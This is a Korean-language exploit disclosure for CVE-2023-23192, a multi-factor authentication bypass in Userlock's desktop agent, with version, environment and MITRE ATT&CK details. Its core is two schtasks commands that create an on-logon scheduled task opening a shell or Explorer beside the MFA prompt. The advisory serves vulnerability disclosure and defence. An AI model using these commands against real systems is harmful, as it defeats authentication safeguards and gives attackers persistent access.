CVE-2023-23192

CVE-2023-23192- Userlock - 다중 요소 인증(MFA) 우회

익스플로잇 제목: Userlock - 다중 요소 인증(MFA) 우회

날짜: 01/11/2023

익스플로잇 작성자: Pinar Sadioglu

공급업체 홈페이지: https://www.isdecisions.com/products/userlock/help/#

버전: < = 11.0.1.40

테스트 환경: Windows 10

소프트웨어 : 워크스테이션 또는 터미널 서버에서 대화형 세션을 보호하기 위한 Userlock 'Desktop agent'로 테스트되었습니다.

CVE : CVE-2023-23192

MITRE ATT&CK: T1053.005 - Scheduled Task/Job: Scheduled Task

필요한 권한: Administrator, Root

https://nvd.nist.gov/vuln/detail/CVE-2023-23192

설명: Userlock은 Windows Active Directory 및 클라우드 환경을 위한 다중 요소 인증 솔루션으로, 인가되지 않은 액세스와 원치 않는 액세스를 차단합니다. Windows 로그온, 원격 데스크톱(RDP 및 RD Gateway), IIS, VPN 및 클라우드 애플리케이션에서 맞춤형 2단계 인증(2FA)을 제공합니다. Userlock을 사용하면 Active Directory 로그온, 도메인에 가입된 워크스테이션 및 서버에 MFA를 구현할 수 있습니다. 사용자가 하루 중 처음으로 해당 워크스테이션에 로그온할 때 인증 앱에서 OTP 코드를 입력할 수 있는 대화 상자가 표시됩니다. Userlock은 로그온 프로세스와 통합되어 2단계 인증을 제공합니다.

위협 행위자가 피해자의 컴퓨터에 지속성을 구축하기 위해 가장 일반적으로 악용하는 전략 중 하나는 작업 스케줄링입니다. 공격자는 자동 탐지를 회피하고 지속성을 유지하며 오랫동안 은밀히 잠복한 후 기습 공격을 수행하기 위해 이 전략을 자주 사용합니다.

취약점:

사용자 로그온 후 실행되는 예약 작업을 생성합니다.

> schtasks /create /tn "MFA_Bypass_OnLogon" /sc onlogon /tr "cmd.exe /c powershell.exe"

도메인 자격 증명으로 로그온에 성공하면 예약된 cmd.exe가 Userlock MFA 대화 상자와 함께 표시됩니다.

> schtasks /create /tn "MFA_Bypass_OnLogon" /sc onlogon /tr "cmd.exe /c explorer.exe"